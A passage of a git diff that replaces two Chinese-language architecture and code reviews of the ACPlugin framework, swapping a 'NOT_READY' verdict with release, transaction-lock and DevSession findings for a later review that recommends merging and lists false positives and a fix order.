`packages/test/test/migration.test.ts` 未随其他测试进子目录 | AGENTS.md:122 明确指定该路径 | 误报 | +| 4 | 源码中的 "Kernel v2" / "Schema v2" 是已删模块的残留术语 | `report-builder.ts:125` 实际 `schemaVersion: 2`;`Kernel*` 是当前内部命名(`runKernelBuildSession` 等),不指向任何已删文件。属命名偏好,按要求不报告 | 误报 | +| 5 | `FAILURE_PHASE_ORDER`(`integration-sessions.ts:69-72`)可能漏 phase → `indexOf` 返回 −1 破坏排序 | 与 `contracts/reports.ts:103` 的 `DiagnosticPhase` 15 个成员逐一对应,无缺失 | 误报 | +| 6 | `LEGACY_LOCK_STABILITY_DELAY_MS`(`output/lock.ts:50,299`)是 beta 禁止的兼容 shim | 它是针对任何 create→write 非原子 writer 的有界观察窗,且被 `transaction.test.ts:600` "preserves a malformed legacy lock that becomes a live record during the bounded check" 精确覆盖 | **不应删除** | +| 7 | `output/lock.ts`(429 行,双层 guard + quarantine + PID 存活)属于"应整体重写"的局部 | 复杂度确实高,但每条分支都有故障注入覆盖:stale quarantine (`:387-415`)、malformed record (`:586`)、guard 竞争 (`:633-637`)、瞬时 close/rm 失败 (`:112-208`)。重写并发原语的风险远高于收益 | **不应重写** | +| 8 | `dev-session.ts:356` `runRound(_changes)` 参数完全未使用 | dev 每轮做完整确定性重建是既定设计(sync.md 已述),非遗漏 | 误报 | +| 9 | `llmdoc` / `.agents` 引用了已删路径(脚本报 29 处 MISSING) | 全部是 glob 模式(`packages/platforms/*`)或 core-src 相对路径(`lifecycle/build-session.ts`);逐条解析后全部存在 | 误报 | +| 10 | `platformSucceeded` + `diagnostics.some(...)` 双重判断冗余(`build-session.ts:497`) | 非冗余:`platformSucceeded` 在 compatibility 阶段写入,之后 materialize/transaction 仍可能追加该平台诊断 | 误报 | --- -### Phase 3 — 契约与文档一致性 +## 4. 逐条回答重点审查问题 -**Scope:** P1-8、P1-9、P2-10、P2-11、P2-12、P2-13、P2-14、P3-1、P3-2、P3-3、P3-4 -**Non-goals:** 不为 CLI 补 strict 覆盖层(见 §6"不应继续实现的能力");不机械重写 `migration/legacy/**`。 +**1. 是否真的降低了认知复杂度?** 是。生产源码 27.9k 行(Core 14.0k / 主包 4.3k / Platform 6.3k / Extension 3.2k),测试 14.6k 行。核心证据不是文件数,而是**依赖方向**:文件级零运行时环;`build-session.ts` 从 1077 行降到 556 行,把 Platform 流水线(`platform-pipeline.ts` 310)、Session 契约校验(`integration-sessions.ts` 254)、环境构造(`build-environment.ts` 66)拆成职责明确、单向被调用的模块,且拆分后只留了 3 处转发 shim(P3-3)。Platform 大 validator 按协议域拆分(codex 8 个、claude-code 6 个)也是真实的领域切分,不是机械切片。 -1. 从 8 处 build/validate 语境删除 `--strict`/`--no-strict`(**保留** migrate 语境的 4 处),并新增"文档选项 vs `createCli()` 实际选项"一致性测试。 -2. `git add` DevSession 测试并修其竞态。 -3. 修 P2-10 的误归因、P2-11 的三处默认值不一致与诊断码、P2-12 的 `undefined` 丢弃、P2-13 的四个诊断码、P2-14 的 alias。 -4. 补 `DevSession.current` 的 TSDoc;统一 Scanner 术语;清理三处 staged 空行;为 `INTERNAL_ERROR` 引入真实 phase。 +**2. Core 领域边界 / 依赖方向 / 公私 API?** 文件级一致,**目录级有 2 组环**(P2-2、P3-1)。公私 API 干净:SDK (`api/integration.ts`) 用**显式具名列表**导出 110 个类型 + 8 个值,零 Registry / 零 Kernel 实现泄漏;`core/src/index.ts` 虽是 9 个 `export *`,但它是私有包且只被主包内联,主包公开面 (`acplugin/src/index.ts:37-82`) 又是显式列表,过宽 barrel 被两层收敛住。无错误 barrel。 -**测试与 DoD:** `git diff --check` 与 `git diff --cached --check` 均 exit 0;`docs:check` 通过且文档中出现的诊断码/CLI 选项全部可静态验证存在。 +**3. 生命周期是否只有一条真实路径?** 是。`runProject()` 是 `createProject().run()` 的无逻辑 convenience(`project/project.ts:213-220`);CLI 的 validate/inspect/build 全部走 `runPipeline()` → `runProject()`(`cli/commands/pipeline.ts:15`);`dev` 走 `createProject().dev()` → `createDevSession()`,其 `runRound()` 每轮调 `runKernelBuildSession()`(`dev-session.ts:368`)。不存在第二条构建路径或绕过 Core 的分支。 ---- - -### Phase 4 — 发行边界收尾与复杂度回收 +**4. Rolldown 是否仍只由 Core 驱动?** 是,且有守卫。`integration-boundaries.test.ts:31-39` 把 Rolldown 锁死在 `compiler/engine-loader.ts` + `contracts/compiler.ts`,Chokidar 锁死在 `lifecycle/dev-session.ts`。Extension 通过 `context.compiler.compile()` 使用 Core(`hooks/src/build.ts:40`、`mcp/src/build.ts`),Platform/Extension 源码零 `fs` 写入、零 workDir、零 dist、零 license 管线。**唯一缺陷是这些守卫不在 CI 中运行(P1-1)。** -**Scope:** P2-6、P2-7、P2-8、P2-9、P3-5、P3-7、P3-9、P3-11 -**Non-goals:** 不改九包生态结构;不改 brand 机制(已验证正确)。 +**5. Runtime / Hooks / MCP / Contribution 的 owner、Asset、兼容性、事务边界?** 未被破坏。Runtime 由 Core 以 `framework:node-runtime` owner 编译**一次**(`build-session.ts:378-386`),仅向声明精确 capability 的平台显式 `assets.grant()` 继承同一 `GeneratedAssetRef`(`platform-pipeline.ts:76-81`)。Contribution merge 严格 add-only:只能写入 base 声明的精确 extension point,双 owner 抢同一 point 直接抛错,重复 compatibility tuple 直接抛错,owner 排序保证与完成顺序无关(`package/registry.ts:277-367`)。事务边界完好:`afterSwap` 内关闭 Session,失败仍可回滚(`output/transaction.ts:140-154` + `build-session.ts:459-466`)。目录结构上 Hooks 有 `runtime/{runner,wire,integration}.ts`,MCP **没有**空 runtime 层 —— 符合目标意图。 -1. **架构决策 C(与决策 A 同批):** beta 窗口内的 peer 范围策略——`workspace:*` / 显式 `>=`,或规定主包发布必须九包同步 bump。 -2. `verify-release.mjs:381` 加入 `devDependencies`;从六个 Platform manifest 移除 `@acplugin/core` devDependency。 -3. `verifyConsumer` 中加入 `file:` 形式的第三方包(同时导出 Platform 与 Extension 工厂),覆盖独立实例与非 `plugin` deliveryType。 -4. managed deterministic 审计与 portable 共享 physical-root 扫描。 -5. `validateCompleteMaterialization` 收敛为 `if (!input.commit)`;处理 marker `scope` 死字段与不匹配自愈;更正"private Symbol"措辞;清理孤儿空目录。 +**6. Migration 是否仍 lazy 隔离?** 是。唯一入口 `cli/commands/migrate.ts:34` 的动态 import;`dist/index.mjs` 与 `dist/cli.mjs` 对 migration 的静态引用为 0;独立 chunk。唯一瑕疵是 P3-5(用了最宽的根 barrel,但被 tree-shake,无实际后果)。 -**测试与 DoD:** 九个 tarball 四类依赖字段均无 `@acplugin/*`;"只发布主包"场景下八个集成仍可解析;第三方 Extension 在 packed clean consumer 中完成完整构建。 +**7. 包边界 / 产物 / peer / SDK subpath / clean-consumer?** 正确,且被三层验证:`workspace-layout.test.ts`(九包、`peerDependencies['@tokenroll/acplugin'] === 'workspace:^'`、无 `@acplugin/*` runtime dep)、`package-boundaries.test.ts`(dist 产物文本扫描 + 真实 `import()` 校验导出面 + `import("rolldown")` 必须是动态)、`release:verify` 实跑九个 tarball 的 clean consumer(已通过)。`exports` 精确为 `['.', './sdk']`。 ---- +**8. 测试重组是否丢覆盖 / 错 fixture / 漏 Vitest / 守卫失效?** 未丢。所有守卫路径已同步更新到新目录(`integration-boundaries.test.ts:32-33,38,43-45,149` 全部指向新路径且断言通过)。fixture 路径 `packages/test/fixtures/migration/claude-project/` 存在。**0 个 skip/only**。Extension 巨型测试拆分后(hooks 974→4 文件 15 tests,mcp 644→4 文件 12 tests)用例数与断言密度合理。唯一问题是 P2-1(版本字面量)与 P1-1(不在 CI 跑)。 -### 需要的三个架构决策(汇总) +**9. 文档 / 技能 / 脚本 / comment coverage / TypeDoc / release verification 是否指向已删模块?** 全部正确。`typedoc.json` 用 `entryPoints: src/index.ts` per package;`verify-release.mjs`、`verify-docs.mjs`、`public-packages.mjs` 路径全部有效;`comment-coverage.json` 259 条 `enforcedFiles` 逐条存在且完整覆盖 177 个生产文件;`llmdoc`/`.agents` 路径引用全部解析成功。**唯一过期的是 `llmdoc/state/sync.md` 的仓库状态描述(P3-6)。** -| 决策 | 内容 | 阻塞的 Finding | -| --- | --- | --- | -| **A** | beta release line 与 stable promotion 的唯一机制 | P1-1 | -| **B** | transaction lock 的持久崩溃记录协议(格式、PID 复用、同进程 ownership、legacy) | P1-5 | -| **C** | Extension 是否在信任边界之内——即是否强制 hook `command` 只能是受管 handler | P2-5 | - -(P2-7 的 peer 范围策略是决策 A 的直接推论,不单列。) +**10. 是否存在应该整体重写的局部?** **没有。** 我最认真评估的候选是 `output/lock.ts`(429 行、双层互斥、quarantine + 回滚、PID 存活探测、legacy 窗口)。结论是**不应重写**:每条分支都有针对性的故障注入测试(见误报表 #6/#7),且并发原语重写的回归风险显著高于当前的可读性收益。其余局部(`compiler/managed/options.ts` 508、`config/resolver.ts` 559、`services/assets.ts` 531)都是"边界校验密集但线性、可读、有测试"的形态,属于合理体量。 --- -## 10. Final Decision +## 5. 真实问题清单(按优先级) -# `NOT_READY` +| # | 优先级 | 问题 | 范围 | +|---|---|---|---| +| P1-1 | **P1** | 没有任何 CI/hook 运行测试套件,全部架构守卫不生效 | 脚本/CI | +| P2-1 | P2 | `workspace-layout.test.ts` 硬编码九包版本,无同步机制,下次 `changeset version` 必失败 | 测试 | +| P2-2 | P2 | `lifecycle/session-scope.ts` 位置错误,制造 4 条 services↔lifecycle 域循环 | Core + 测试 | +| P3-1 | P3 | services ↔ compiler 域循环(建议记录为 ADR,不修) | 文档 / (Core) | +| P3-3 | P3 | Core 内 3 处纯转发 re-export shim | Core | +| P3-4 | P3 | `cli/output.ts` 为一个错误类反向依赖 `scaffolding/` | 主包 | +| P3-5 | P3 | `migration/validation.ts` 使用最宽的 `@acplugin/core` 根 barrel | 主包 | +| P3-6 | P3 | `llmdoc/state/sync.md` 的 baseline 与"未提交"描述已过期 | 文档 | -### 判定依据 +(P3-2 已归入误报表:不是确定性 bug,一行可选清理。) -**不可交付的直接原因**(任一即阻断): +--- -1. **P1-1** — Changesets 目前处于"扣动扳机即把 beta 发布为稳定 `1.0.0`"的状态。 -2. **P1-2** — 即使不误发,任何一次版本 PR 都会产生自相矛盾的生态快照,导致 `init` 生成装不上的工程。 -3. **P1-7** — Platform 最终 candidate validation 存在可执行验证的第三方注入旁路。 -4. **P1-6** — 伪 MCP 可以冒充完整实现并以 `native` 兼容性交付。 -5. **P1-5** — 一次崩溃或瞬时文件系统错误就能永久楔死受管输出,只能人工删文件恢复。 -6. **P1-9** — 唯一的 DevSession 测试未进入版本控制且 flaky,门禁绿灯不可信。 +## 6. 合并建议 -### 同时明确的正面结论 +**建议合并当前工作树。** -- **不建议整体重写。** 目标架构的十二条目标中,除"最终 candidate validation 无旁路"一条外全部独立验证通过。 -- **不存在明显过度设计。** Core 无死模块、无单实现抽象、无投机泛化;作者 API 只有一个 `defineConfig()`。多出的复杂度可逐项追溯到真实的安全、事务或跨平台需求。 -- **没有偏离初衷。** 仍是"Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架和 CLI"。 -- **事务恢复矩阵本身是正确的**,12 个崩溃窗口逐一推演无缺陷。 -- **需要重写的代码只有一处**:`transaction.ts:429-459` 的 lock 子协议(约 30 行)。 +理由:六个门禁全部实跑通过;架构不变量(单生命周期、Rolldown/Chokidar 归 Core、Core 零平台分支、add-only Contribution、Migration 隔离、九包边界、`LIFECYCLE_API_VERSION='1'`)逐条以源码与产物证据确认成立;无残留旧路径、无空目录、无 skip、无 `any`/`ts-ignore`。已发现的问题**没有一条是运行时正确性缺陷**——最高优先级的 P1-1 是流程缺口,P2 两条是可维护性缺口。 -### 达到 `READY` 的最小条件 +### 最小修复顺序(按依赖) -完成 **Phase 0 + Phase 1 + Phase 2**(含架构决策 A、B),并补齐测试缺口 **G1–G6**。 -Phase 3 与 Phase 4 可作为 `READY_WITH_NON_BLOCKING_FOLLOWUPS` 的后续项,但 **P1-8(虚构 CLI 选项)与 P1-9(flaky 测试)建议一并纳入阻断集**——前者是面向用户的产品承诺失效,后者会让所有阶段的验收结果失去可信度。 +1. **P1-1** — 先给 CI 加 `test` job(`check.yml` + `patch.yml`)。必须最先做:它决定后面每一条改动是否会被自动验证。 +2. **P2-1** — 删除/改写 `workspace-layout.test.ts` 的版本字面量断言。必须在 P1-1 之后、任何 `changeset version` 之前,否则第一次带测试的 CI 就红。 +3. **P2-2** — `lifecycle/session-scope.ts` → `services/session-scope.ts`(纯移动 + 23 处 import),可选补一条分层守卫。此时 P1-1 已生效,移动有网。 +4. **P3-6** — 更新 `llmdoc/state/sync.md`(零风险,可与任意一步同批)。 +5. **P3-3 / P3-4 / P3-5 / P3-1** — 可选清理,任意顺序,或作为后续 PR。 --- -*本 Review 的复现 fixture 位于 `.llmdoc-tmp/repros/`:`watchfile-repro.test.ts`(P2-2)、`transaction-empty-lock.test.ts`(P1-5)、`mcp-fake-smoke/`(P1-6、P2-3)、`packcheck/`(P2-6、P2-7)、`harness.mjs` + `evil-extension-source.mjs` + `run-scenarios.mjs`(P1-7、P2-4、P2-5)、`dupbrand/`(P2-8 的 brand 正面验证)、`diag*/`(P2-13)。* +## 7. 对"是否过度设计 / 过度拆分 / 偏离 Nuxt 式框架初衷"的最终判断 +**没有过度设计,没有过度拆分,也没有偏离初衷。** +- **框架仍然拥有构建能力**,这一点是本轮最关键的成功项。Core 独占 Rolldown(`engine-loader.ts` 是全仓唯一驱动点)、独占 Chokidar、独占 workDir/dist/事务/许可证/Asset 签发;Platform 与 Extension 只能通过 `context.compiler.compile()`、`assets.service(owner)`、`sources.service(owner)` 拿到 owner 受限的能力句柄,拿不到物理路径也拿不到写权限。Extension 是真正的无序 add-only 横向能力:无依赖图、无跨 Extension state、无 override/delete,冲突确定性失败。这就是 Nuxt 式"框架拥有构建、模块只做贡献"的形态,而且比大多数实现更严格。 +- **拆分是有依据的,不是切片**。判断标准是拆完之后依赖是否变单向、是否需要转发 shim 维系旧引用。这里文件级零环、只留 3 处极小转发(P3-3),Platform 大 validator 是按协议域(hooks / mcp / manifest / marketplace / skills / assets)而非按行数拆的。相比之下,`build-session.ts` 1077→556 行同时把状态机保持在**一个函数**里而没有拆成 12 个 stage 类——这恰恰是克制的证据。 +- **真正的复杂度集中在正确的地方**:安全边界(`security/`:data-boundary、path-policy、json-snapshot、report-safety)、确定性(稳定排序、owner 排序、无时间戳/绝对路径)、事务与锁。这些是框架必须承担、消费者不该重复实现的部分,与"持续使用的构建框架而非一次性脚手架"的定位一致。 +- **唯一的结构性缺口是目录名承诺的分层没有完全兑现**(P2-2、P3-1)。这不是过度设计,是分层不彻底——P2-2 一个文件移动就能消掉四分之三。 +- **最需要修的不是代码,是流程**。这套架构的长期可维护性完全建立在架构守卫测试上,而这些测试目前不在任何自动化门禁中运行(P1-1)。**架构守得住不取决于它写得多好,取决于它跑不跑。** 这是本次 review 唯一的 P1。 diff --git a/review2.md b/review2.md index 75035f0..12c8806 100644 --- a/review2.md +++ b/review2.md @@ -1,317 +1,40 @@ -# ACPlugin Kernel v2 最终独立对抗式架构与代码交叉 Review +# ACPlugin 整体架构与实现正确性交叉 Review -> Review 日期:2026-08-18(Asia/Shanghai) -> Review 范围:`9086b37c21bcc700e163043abfb050f91242ffe9..当前完整工作树`,包含 staged、unstaged 和 Review 开始时已有的 untracked 文件 -> 方法:源码与类型契约审阅、llmdoc/ADR/spec/ticket/历史 Review 交叉核验、Standards/Spec 双轴独立 Review、全量质量门、真实 Kernel/public SDK 最小反例 -> 约束:未修改产品源码、测试、配置或正式文档;本文件是本轮唯一正式输出 +> 审查方式:只读审查;除按要求写入本报告外,未编辑产品源码、配置或测试,未执行 stage/commit/reset/checkout、发布或版本修改。 +> +> 审查日期:2026-08-20 -## 1. Executive Verdict +## 结论摘要 -**最终结论:`NOT_READY`。** +**建议合并当前产品重构。** 未发现具备直接代码证据和可复现后果的 P0–P3 真实问题,也未发现需要整体重写的局部。 -当前 Kernel v2 的主架构已经基本对齐“Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架”的定位:Core 确实拥有唯一生命周期、Compiler/Module/Watch、Asset、Package、Compatibility、Transaction 和 Report;Runtime 已成为 Core Framework Resource;Hooks/MCP/官方 Platform 已脱离 Integration-local bundler;官方生态是九个独立公开包;Platform/Extension 生产代码走 `/sdk`;Migration 保持 lazy/隔离。没有证据支持整体重写 Kernel,也没有发现为了文件数量或抽象洁癖而必须推倒重来的明显过度设计。 +这次重构是职责收敛,而不是仅将复杂度摊到更多文件:生命周期、编译、资源授权、贡献合并和事务都落在 Core 的明确领域边界;Platform/Extension 未重新获得构建、watch、`dist` 或事务控制权。未发现第二条构建路径、运行时循环依赖、旧架构残留 import 或公开包边界泄漏。 -但当前仍有 **9 个 P1**:beta Changeset 会直接进入稳定 `1.0.0`;Patch 版本流程不会同步唯一生态版本快照;事务锁可被一次崩溃永久卡死,且持久化顺序缺少目录 fsync;DevSession 的 watcher/close 异常无法保证事件和终态;MCP smoke 可被非 MCP 程序绕过;OpenCode 最终 validator 可接受错误本地命令;managed-rolldown 的 deterministic 审计既误拒绝正常输出,又能放过绝对路径泄漏。这些问题分别会造成错误发行、旧输出恢复风险、dev 挂起、伪协议产物或机器路径进入交付物,因此不能以“全量测试已通过”替代修复。 +## 基线与工作树 -建议是 **保留现有总体架构,针对 Transaction crash protocol、DevSession terminalization、managed deterministic audit 和 MCP/最终协议边界做局部重写或收口**。不建议重新引入 Scanner、Artifact、DeliveryUnit、Adapter、第二生命周期、Extension 顺序协议、Node Runtime Extension 或 Integration-local bundler。 - -Finding 汇总: - -| 严重度 | 数量 | 结论 | -| --- | ---: | --- | -| P0 | 0 | 未发现立即导致普遍数据破坏或凭据直接泄漏的确定路径 | -| P1 | 9 | 阻断当前交付/发行 | -| P2 | 2 | 应在 beta 收口前修复 | -| P3 | 0 | 未保留无实际影响的风格类 Finding | - -## 2. Review Baseline - -### 2.1 Git 基线 - -- 实际分支:`beta_1_0`,与给定基线一致。 -- 实际 HEAD:`9086b37c21bcc700e163043abfb050f91242ffe9`,与给定基线一致。 -- 从 HEAD 到 Review 开始时完整工作树:318 个 tracked path 变化,约 `+27091/-18756`。 -- Review 开始时已有 untracked 产品测试:`packages/acplugin/test/dev-session.test.ts`;它被实际 `pnpm run test` 收集并执行。 -- `review2.md` 是用户在 Review 过程中指定的输出文件,不计入被审产品基线。 -- `packages/core/src/kernel-types.ts:8` 仍为 `LIFECYCLE_API_VERSION = '1'`,满足硬约束。 - -### 2.2 实际验证结果 +| 项目 | 预期 / 结果 | +| --- | --- | +| 分支 | `beta_1_0`,符合预期 | +| 指定基线 | `889da323a73d0016870390be32f82cc0c79c6a00` | +| 实际 HEAD | `51d68522ba6044fb60d06573491d4504688ddf56` | +| 与基线差异 | HEAD 比基线多 1 个提交;基线是 HEAD 的祖先;差异为 240 files、`+11509/-10848` | +| 审查开始时 | staged / unstaged / untracked 均为空 | +| 报告落盘前最终复核 | 仅 `review1.md`、`review2.md` 有外部文档改动;无 staged、无 untracked | -| 命令/验证 | 结果 | 关键证据 | -| --- | --- | --- | -| `pnpm run lint` | PASS | 中文注释守卫覆盖 195 个文件,ESLint 通过 | -| `pnpm run typecheck` | PASS | 13/14 workspace 项目通过 TypeScript 7 检查 | -| `pnpm run test` | PASS | 52 个 Test Files、288 个 tests 全部通过;pretest 同时完成全量 build | -| `pnpm run build` | PASS | 由 `test` pretest 和 `docs:check` 各执行一次;九个正式包及私有 Core 均成功构建 | -| `pnpm run docs:check` | PASS | TypeDoc、VitePress、docs verify、Playground build/typecheck/verify 均通过 | -| `pnpm run release:verify` | PASS(当前版本) | 九个当前 beta tarball、publint/ATTW、clean consumer 通过;不代表 version-packages 后仍通过 | -| `pnpm changeset status --output /dev/stdout` | 命令 PASS,计划 FAIL | 九个公开包的 `newVersion` 均为稳定 `1.0.0` | -| `git diff --check` / `git diff --cached --check` | PASS(最终快照) | 两种 diff 均无 whitespace error | +已执行的必做核验: -构建中的 `@iarna/toml` direct-eval warning 和 VitePress chunk-size warning 没有独立故障证据,本轮不作为 Finding。 +```text +git status --short +git branch --show-current +git rev-parse HEAD +git diff --check +git diff --cached --check +rg --files +``` -### 2.3 `code-review` 双轴结果 +两种 `git diff --check` 均通过。审查期间的 `review1.md` / `review2.md` 变动属于审查文档,不属于产品源码、构建配置或测试改动;历史文档中的断言未被直接采信,均以当前源码和实际门禁重新核验。 -| 轴 | 独立结论 | -| --- | --- | -| Standards | 确认有效 Changeset 会把当前 beta 九包直接升至 `1.0.0`;未发现需要把 SDK facade、独立 Platform validator 或 `runProject()` 薄入口判为 smell 的证据。最终工作树的两种 diff check 均通过。 | -| Spec | 独立确认 beta 发行错误、DevSession 异常终态、OpenCode local MCP validator 绕过、Transaction 持久化 barrier 缺口。主审进一步以真实反例确认 lock、MCP smoke、managed deterministic audit、MCP entry/schema 和 Extension 错误扩散。 | - -## 3. Findings - -### F-01 — [P1][Release] 有效 Changeset 会把九个 beta 包直接升级到稳定 `1.0.0` - -- **置信度:100%** -- **精确位置:** `.changeset/initial-1-0-baseline.md:2-15`;`.changeset/kernel-v2-sdk-boundary.md:2-13`;`.github/workflows/patch.yml:50-117`。 -- **当前行为:** 两份有效 Changeset 都把九个公开包声明为 `major`;第一份还明确写着 “Promote ... to stable 1.0.0”。`pnpm changeset status --output /dev/stdout` 实测九包的 `newVersion` 全部为 `1.0.0`。 -- **为什么是故障:** 本轮明确基线是“当前处于 beta,允许 breaking change,但不得错误进入稳定 1.0”。Patch workflow 会无额外 prerelease 防线地在 `patch.yml:89` 执行 `pnpm version-packages`,因此这是可直接触发的错误发行计划,不是未来建议。 -- **最小复现:** 在当前工作树执行 `pnpm changeset status --output /dev/stdout`;检查 `releases[*].newVersion`,九项均为 `1.0.0`。 -- **最小修复:** 将未来稳定 1.0 promotion 从当前有效 Changeset 中移出;为 Kernel v2 采用明确、可自动验证的 beta prerelease 策略(Changesets pre mode 或仓库选定的等价方案),同时仍覆盖实际变更的九个包。 -- **是否需要架构决策:** 不需要 Kernel ADR;需要维护者明确发行策略并记录在 release guide/Changesets 配置中。 -- **修复后测试与 DoD:** `changeset status` 不产生任何稳定 `1.0.0`;九个实际变更包仍有有效 release entry;Patch workflow 对 beta/stable 目标增加断言;`release:verify` 继续验证相同九包。 - -### F-02 — [P1][Release] Patch 消费 Changeset 后不会更新 init/Migration 使用的唯一生态版本快照 - -- **置信度:99%** -- **精确位置:** `.github/workflows/patch.yml:65-117`;`packages/acplugin/src/ecosystem-versions.json:1-11`;`scripts/verify-release.mjs:14-19,134-168`。 -- **当前行为:** Patch workflow 只执行 `pnpm version-packages` 和 `pnpm install --lockfile-only`,没有刷新 `ecosystem-versions.json`。init、Migration 和 release verifier 都读取该快照;verifier 又要求快照精确等于 package manifests。 -- **为什么是故障:** 任意真实版本 PR 都会出现 manifests 已升级、快照仍是旧 beta 的状态。PR 的 Check 只跑 lint/typecheck/docs,可以合并;随后 `release:verify` 会失败,或在未运行该门时让 init/Migration 生成旧版本依赖。所谓“唯一 snapshot”实际成了需人工同步的第二真相源。 -- **最小复现:** 将本次 `changeset status` 给出的 `newVersion` 与 `ecosystem-versions.json` 比较,所有九包都不同;按 workflow 的命令序列没有任何一步修改快照。`verify-release.mjs:143` 会在 version 后精确失败。 -- **最小修复:** 增加一个仓库内版本快照生成器,从九个 manifest 生成稳定排序 JSON;在 `version-packages` 后、lockfile/lint 前强制执行。Check 中加入只读 `--check` 模式,禁止手工漂移。 -- **是否需要架构决策:** 不需要;单一版本源已经是既定架构。 -- **修复后测试与 DoD:** 在临时副本执行完整 Patch 命令序列;快照、manifests、init fixture、Migration fixture 和 `release:verify` 同时通过;只改一个独立包时快照只更新对应项。 - -### F-03 — [P1][Correctness] 事务锁在 create→write 窗口崩溃后会永久阻塞该输出目录 - -- **置信度:100%** -- **精确位置:** `packages/core/src/transaction.ts:429-457,622-630`;测试缺口位于 `packages/core/test/transaction-v2.test.ts:202-229,364-374`。 -- **当前行为:** Core 先以 `wx` 创建最终 lock path,再写 JSON。进程在两者之间崩溃、写入失败或只写入部分内容时会留下空/截断锁。下一次构建在 `JSON.parse` 失败后统一抛出 “Managed output is locked”,不会恢复。首次 write 失败也没有 finally 关闭刚打开的 handle;最终 `rm(lock)` 失败被吞掉,同一仍存活进程的下一轮会把自己的残留 PID 视为活锁。 -- **为什么是故障:** 一次可预期进程崩溃即可使 build/dev 永久无法提交,直到用户手工识别并删除内部 lock。它违反“死进程恢复”和 dev 连续重建契约,也使 lock 比 transaction marker 更脆弱。 -- **最小复现:** 在临时工程创建空 `.dist.acplugin.lock` 后调用 `commitPackageUnits()`。实测返回 `Managed output is locked. SyntaxError: Unexpected end of JSON input`,且锁仍存在。现有测试只覆盖完整 `{ pid: deadPid }` 记录。 -- **最小修复:** 用临时普通文件完整写入、`sync`、原子 hard-link/rename 到最终 lock 的方式同时完成“记录完整”和“互斥获取”;记录不可猜测 owner token,并确保所有失败路径关闭 handle。lock 清理失败不得静默伪装成成功,需要可恢复状态或稳定诊断,同时不能误删活进程的锁。 -- **是否需要架构决策:** 不需要;只是在既定独占锁协议内补齐 crash safety。 -- **修复后测试与 DoD:** 子进程或 FS fault seam 覆盖 create 后崩溃、部分写、write/sync/close/rm 失败、完整活 PID、完整死 PID、同 PID 残留及并发 writer;每个非活锁状态都可自动恢复,活锁绝不被抢占。 - -### F-04 — [P1][Correctness] Transaction 的“持久 marker”只 sync 文件内容,没有持久化目录项与 rename 顺序 - -- **置信度:90%** -- **精确位置:** `packages/core/src/transaction.ts:94-112,503-508,553-600`。整个文件唯一 `.sync()` 位于 `:102`;所有 `link`、`rename`、marker 删除和 backup 删除后均未 fsync parent directory。 -- **当前行为:** `.writing` 内容会 `handle.sync()`,随后 hard-link 为最终 marker;但 marker 链接、`out→backup`、`stage→out`、committed marker 和 cleanup 的目录项都没有 durability barrier。恢复逻辑把“无 marker + backup + out 同时存在”认定为已提交 cleanup,直接删除 backup。 -- **为什么是故障:** 在支持写回重排的文件系统上,机器/容器持久崩溃可能使 rename 已落盘而 pending/committed marker 的目录项丢失。恢复随后会把仍完整的旧 backup 删除并暴露未完成的新输出,违反“任一阶段失败保留上一份完整输出”。当前 fault tests 只模拟函数抛错或手工逻辑状态,不证明持久顺序。 -- **最小复现/可验证路径:** 构造同级 `backup=old`、`out=new`、无 pending/committed marker 的持久状态并进入 recovery;`transaction.ts:503-508` 会保留 new 并删除 old backup。该状态正是目录项重排后可出现的歧义窗口。 -- **最小修复:** 明确定义 durability barrier:pending marker link 后 fsync parent;每次 backup/output rename 后 fsync parent;committed marker发布后 fsync parent;删除 backup 与 markers 后按协议 fsync parent。Windows/非 POSIX 平台使用等价可证明的 adapter,不要只依赖文件内容 sync。 -- **是否需要架构决策:** 若契约继续包含机器/持久崩溃恢复,则不需要新 ADR;若只承诺“单进程异常、不承诺掉电/宿主崩溃”,必须新增架构决策并收窄文档和测试措辞。 -- **修复后测试与 DoD:** 可注入 FS 或持久状态模型覆盖每个 link/rename/unlink/barrier 窗口及 fsync 失败;任何未 committed 状态恢复旧输出,任何 durable committed 状态保留新输出;不存在会误删唯一完整副本的无 marker 歧义。 - -### F-05 — [P1][Correctness] DevSession watcher reconciliation 异常会产生无 `build-complete` 的轮次和未处理 rejection - -- **置信度:98%** -- **精确位置:** `packages/core/src/kernel/dev-session.ts:205-215,245-313,355-399`。 -- **当前行为:** `updateWatcher()` 在物理 watcher 成功前先替换 `knownObservations/knownBuildPaths`;`watcher.unwatch(removed)` 没有 await;`watcher.add()`、`getWatched()` 或 5 秒 readiness timeout 抛错时,公开 `build-start` 已发出,但 `round()` 在 `build-complete` 前 reject。`requestDrain()` 以 `void drain()` 丢弃该 rejection。 -- **为什么是故障:** 它违反每个公开 start/complete 必须配对、失败轮可观察且 session 可继续恢复的明确契约。监听图的逻辑状态还可能领先于真实 watcher,导致错误去重或漏掉后续依赖事件。 -- **最小复现/可验证路径:** 让动态 `watcher.add/getWatched` 永远不显示新路径或令 `unwatch/add` reject;事件序列停在 `build-start`,timer callback 形成 unhandled rejection。当前 DevSession 测试只覆盖成功 reconciliation 和业务失败报告,不覆盖 watcher API 失败。 -- **最小修复:** 先完成并 await 物理 unwatch/add/readiness,再一次性提交三份逻辑 snapshot;`round()` 用受控 catch/finally 把 watcher 错误转换为 `phase: dev` 的失败报告并发布配对 complete;所有 fire-and-forget drain 必须显式捕获并进入同一状态机。 -- **是否需要架构决策:** 不需要;事件配对和一个 active round 已由 spec 定义。 -- **修复后测试与 DoD:** 注入 unwatch reject、add reject、getWatched reject/timeout;断言序号从 1 开始、start/complete 一一配对、无 `unhandledRejection`、last-good graph 保留、失败轮新依赖可恢复、后续成功原子替换 graph。 - -### F-06 — [P1][Correctness] DevSession close 异常不会进入 terminal state,`closed` 可永久悬挂 - -- **置信度:99%** -- **精确位置:** `packages/core/src/kernel/dev-session.ts:457-482`;CLI 放大路径为 `packages/acplugin/src/cli.ts:178-188,215-220`。 -- **当前行为:** `closeTask` 内顺序 await `active` 和 `watcher.close()`;任一 reject 都会跳过 poller 清理、`closed=true`、唯一 `closed` 事件、listeners 清理和 `resolveClosed()`。并发 `close()` 虽共享同一 rejected Promise,但 `session.closed` 永远不 settle。CLI signal handler丢弃 `close()` Promise,随后等待 `session.closed`,因此可能挂起而不是以 130 退出。 -- **为什么是故障:** 关闭是生命周期安全边界;失败时仍必须撤销 watcher/timer/listener 并到达恰好一次 terminal state。当前实现会泄漏资源、悬挂测试/CLI/宿主进程,并使 SIGINT/SIGTERM drain 契约失效。 -- **最小复现/可验证路径:** 令 active round 因 F-05 reject,或令 `FSWatcher.close()` reject,然后并发调用两次 `close()` 